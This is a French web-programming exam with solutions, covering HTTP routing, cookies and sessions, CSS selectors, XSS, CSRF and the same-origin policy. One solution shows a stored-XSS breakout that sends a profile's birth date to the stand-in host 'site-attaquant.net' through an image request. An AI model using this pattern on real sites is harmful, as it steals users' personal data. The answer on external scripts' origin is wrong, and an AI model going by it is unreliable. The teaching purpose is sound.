1 Côté serveur

Question 1.1

Expliquez la différence entre les deux codes suivants, en décrivant les requètes et les réponses HTTP engendrées par une visite de l'URL `/a`,

```
var app = require('was_framework')();

app.f_routes.a = function(req, res) {
  app.f_routes.b(req, res);
}

app.f_routes.b = function(req, res) {
  res.end('Hello world!');
}
```

```
var app = require('was_framework')();

app.f_routes.a = function(req, res) {
  res.redirect('/b');
}

app.f_routes.b = function(req, res) {
  res.end('Hello world!');
}
```

Question 1.2

Considérez les deux extraits suivants.

```
function handler(req, res) {
  var user;
  if (req.query.user !== undefined) {
    user = req.query.user;
    res.setCookie('user', user);
  } else {
    user = req.cookies.user;
  }
  res.end('Hello ' + user);
}
```

```
function handler(req, res) {
  if (req.query.user !== undefined) {
    req.session.user = req.query.user;
  }
  var user = req.session.user;
  res.end('Hello ' + user);
}
```

1. Expliquez ce que les deux codes font, en mettant en évidence leurs différences.
2. Expliquez quelles sont les implications que l'un et l'autre ont sur la sécurité d'une application web.

Question 1.3

Parmi les lignes de codes suivantes, lesquelles ouvrent la voie à des injections de code ? Justifier.

```
res.write(req.query.user);
db.query("SELECT * FROM user WHERE user=?", [req.body.user]);
res.write(req.cookie.user);
db.query("SELECT * FROM user WHERE user='" + req.session.user + "'");
res.render('template.mu', { user : req.query.user });
res.write(req.headers['content-type']);
```

2 Côté client

Question 2.1
On considère le code HTML suivant.

```
<body>
  <ul id="menu">
    <li class="odd">One</li>
    <li class="even">Two</li>
    <li class="odd">Three</li>
  </ul>
  <div id="nav">
    <div class="nav">
      <h2>Nav 1</h2>
      <h3 class="odd">Link 1</h3>
      <h3 class="even">Link 2</h3>
      <h3 class="odd">Link 3</h3>
    </div>
    <div class="nav">
      <h2>Nav 2</h2>
    </div>
    <div class="nav">
      <form id="login">
        <input id="text" type="text" title="Insert text">
        <input id="number" type="text" title="Insert number">
        <input type="submit">
      </form>
    </div>
  </div>
  <div id="main">
    <h1>Lorem Ipsum</h1>
    <h2>dolor sit amet, consectetur adipisicing elit, sed do eiusmod
      tempor incididunt ut labore et dolore magna aliqua.</h2>
    <p>Ut enim ad minim veniam, quis nostrud exercitation ullamco
      laboris nisi ut aliquip ex ea commodo consequat.</p>
    <p>Duis aute irure dolor in reprehenderit in voluptate velit
      esse cillum dolore eu fugiat nulla pariatur.</p>
  </div>
</body>
```

Indiquer à quels éléments correpondent les sélecteurs CSS suivants (utilisez les numéros de ligne pour indiquer les éléments, il peut n'y avoir aucun élément correspondant au sélecteur) :

1. `ul .odd`
2. `div.odd`
3. `#nav`
4. `[type=text]`
5. `form [title]`

6. `#main h1+h2`
7. `.even, .odd`
8. `div div div`

3 Sécurité

Question 3.1
Expliquez la différence entre injection XSS non-permanente (dite aussi temporaire, ou refléctée) et permanente.

Question 3.2
Voici le code d'un site de réseau social qui permet de personnaliser le code CSS des pages utilisateur.

```
function profile(req, res) {
  if (req.session.loggedin) {
    // récupère le profil utilisateur de la base de données
    app.db.query("SELECT * FROM users WHERE user=?",
      [res.session.loggedin.id], function(err, result) {
        if (err) {
          res.send(500);
        } else {
          // le contenu de la base de données est passé
          // tel quel au template
          res.render("profile.mu", result);
        }
      }
    );
  } else {
    res.redirect('/login');
  }
}
```

Voici le template `profile.mu`. Remarquez l'utilisation de `user_css` qui importe le code CSS personnalisé de l'utilisateur.

```
<!-- source de profile.mu -->
<html>
  <head>
    <style>
      {{ user_css }}
    </style>
  </head>
  <body>
    <ul>
    <li>Login: {{ user }},</li>
    <li>Nom: {{ name }},</li>
    <li>Date de naissance: {{ birth }},</li>
    </ul>
  </body>
</html>
```

En supposant qu'un attaquant soit capable d'injecter du code arbitraire dans `user_css` (injection XSS permanente), expliquez en détail comment il peut récupérer les données personnelles de l'utilisateur (nom, date de naissance, ...). Utilisez des extraits de code pour illustrer vos propos.

Question 3.3 Un site de paris en ligne utilise le code suivant pour placer un pari.

```
function place_pari(req, res) {
  if (req.session.loggedin) {
    // Le code du match sur lequel on parie
    code = req.body.code_match;
    // Le pari placé (victoire équipe 1, équipe 2, etc.)
    choix = req.body.choix;
    // Le montant du pari
    montant = req.body.montant;

    // Cette fonction insère le pari dans la base de données,
    // le code est omis.
    db_enreg_pari(code, choix, montant, function(err) {
      if (err) {
        res.send(500, 'Erreur enrégistrement');
      } else {
        res.render('confirmation.html');
      }
    });
  } else {
    res.redirect('/login');
  }
}
```

Le code est-il vulnérable aux attaques CSRF ? Que peut faire un attaquant malveillant ? Quelles sont les contremesures possibles ?

Question 3.4
Un utilisateur viste une page web provenant du domaine `http://www.example.com/` contenant (parmi d'autres) les lignes de code suivantes.

```
<link rel='stylesheet' href='http://cssgarden.org/beautiful.css'>
<script src='http://cdn.googleapis.com/jquery.js'></script>
<script>
  $.ajax(
    url : 'http://www.example.com/socket.io',
    success : function(data) { console.log(data); }
  );
  $.ajax(
    url : 'http://api.example.com/query',
    success : function(data) { console.log(data); }
  )
</script>
<img src='http://cdn.example.com/logo.png'>
<a href='http://maps.google.com/'>maps</a>
<form method='POST' action='http://maps.google.com/'>
  <!-- contrôles du formulaire -->
</form>
<iframe src='http://embed.example.com/'></iframe>
```

1. Quelles restrictions impose la Same Origin Policy sur chacune des ressources externes linkées par la page ? Préciser ressource par ressource.
2. Lesquelles de ces restrictions peuvent être assouplies grâce à la politique CORS (Cross Origin Resource Sharing) ?

Solution 1.1 Dans le premier extrait, le *handler* `b` est appelé depuis le *handler* `a`. À une requête pour `/a` le serveur répond immédiatement avec "Hello world", sans que le browser voit l'appel à `b`.

Dans le deuxième extrait, `/a` effectue une rédirection vers `/b` en envoyant une réponse HTTP 30x (302, par exemple). C'est la reponsabilité du browser de demander la page `/b`, qui va renvoyer "Hello world".

Solution 1.2

1. Les deux codes récupèrent une valeur `user` de la *query string* (paramètres GET), la sauvegardent de façon persistante, et l'affichent dans la réponse. Le premier utilise un cookie (côté client) pour sauvegarder la valeur, tandis que le deuxième la sauvegarde dans la session (côté serveur, en général).
2. Si la valeur `user` est un paramètre d'identification qui donne accès à des ressources réservées, la solution utilisant le cookie ne donne aucune garantie de sécurité, en effet tout attaquant peut forger un cookie afin d'*impersonner* un autre utilisateur. La solution utilisant la session, offre une meilleure garantie, car seul un vol de session permettrait d'impersonner un autre utilisateur. On peut aussi remarquer que, tels qu'ils sont écrits, les deux codes sont vulnérables aux XSS.

Solution 1.3 Les lignes 1, 3 et 6 sont vulnérables aux attaques XSS, car elles renvoient des données provenant du client non filtrées pour les caractères spéciaux HTML. La ligne 4 utilise des données non filtrées dans une requête SQL ; bien que ces données ne proviennent pas du client, on peut affirmer qu'il s'agit d'une pratique dangereuse, car elles auraient pu être initialisées auparavant à partir de données du client. Les autres lignes appliquent un filtrage approprié.

Solution 2.1

- `<li>` des lignes 3 et 5 ;
- aucune ;
- `<div>` de la ligne 7 ;
- `<input>` des lignes 19 et 20 ;
- `<input>` des lignes 19 et 20 ;
- `<h2>` de la ligne 27 ;
- `<li>` et `<h3>` des lignes 3-5 et 10-12 ;
- aucune.

Solution 3.1 Une XSS est permanente lorsque l'URL qui la produit est présente de forme permanente sur le site victime. En général, les XSS permanentes sont stockées dans la base de données du site victime, et souvent l'URL ne contient pas le code de l'injection.

L'URL d'une XSS non-permanente, au contraire, n'est pas présente sur le site victime. Pour que l'injection ait lieu, l'attaquant doit trouver une façon alternative de convaincre le client victime à visiter l'URL, par exemple en envoyant l'URL par mail, ou en mettant un lien sur un site sous son contrôle.

Une technique à mi-chemin entre les deux, consiste à stocker l'URL de l'XSS dans la base de données d'un site tiers, par exemple un forum, un réseau social, ou un moteur de recherche, éventuellement à l'aide d'un service d'*url shortening*.

Solution 3.2 Un attaquant capable d'injecter du code HTML dans `user_css` peut charger du JavaScript arbitraire dans la page, par exemple en injectant le code

```
1  </style>
2  <script>
3    // Code JavaScript malicieux
4  </script>
5  <style>
```

En navigant le DOM, il peut avoir accès à tous les nœuds du document, et en extraire le contenu. Ensuite il peut envoyer les donnes à un serveur sous son contrôle en se servant d'une requête AJAX, ou même d'une simple balise `<img>`, comme dans l'exemple ci-dessous.

```
1  // vol de la date de naissance
2  var img = new Image();
```

```
3   img.src = 'http://site-attaquant.net/vol/'
4             + encodeURI($('li')[2].text());
```

Solution 3.3 Oui, le code ne vérifie pas que la requête de pari provient d'une page sur le même site de paris en ligne. Un attaquant peut forcer une victime à placer un pari quelconque en l'attirant sur un site qu'il contrôle. Le site sous le contrôle de l'attaquant soumet, automatiquement et sans que la victime puisse s'en apercevoir, une requête vers le site de paris qui va s'exécuter avec les privilèges de la victime, si celle-ci y est connectée.

Les contre-mesures sont classiques : contrôler l'entête `Referrer`, cacher des *nonces* dans les formulaires, demander confirmation, ...

Solution 3.4

1. – Le script à la ligne 2 s'exécute dans le contexte de sécurité de `cdn.googleapis.com`, il n'a donc pas accès au données de la page (DOM, cookies, environnement JavaScript, etc.).
   – L'appel AJAX à la ligne 8 s'exécute bien, mais la réponse du serveur ne peut pas être lue dans la callback à la ligne 10.
   – Le contenu (DOM, cookies, environnement JavaScript, etc.) du `iframe` à la ligne 18 n'est pas accessible depuis la page visitée, et réciproquement.

   Toutes les autres ressources ne sont pas restreintes par la SOP.
2. La seule restriction sur laquelle la politique CORS a une influence est celle sur l'appel AJAX de la ligne 8. En effet, si le serveur répond avec une entête `Access-Control-Allow-Origin` permettant l'accès à `www.example.com`, la callback à la ligne 10 aura accès au contenu de la réponse.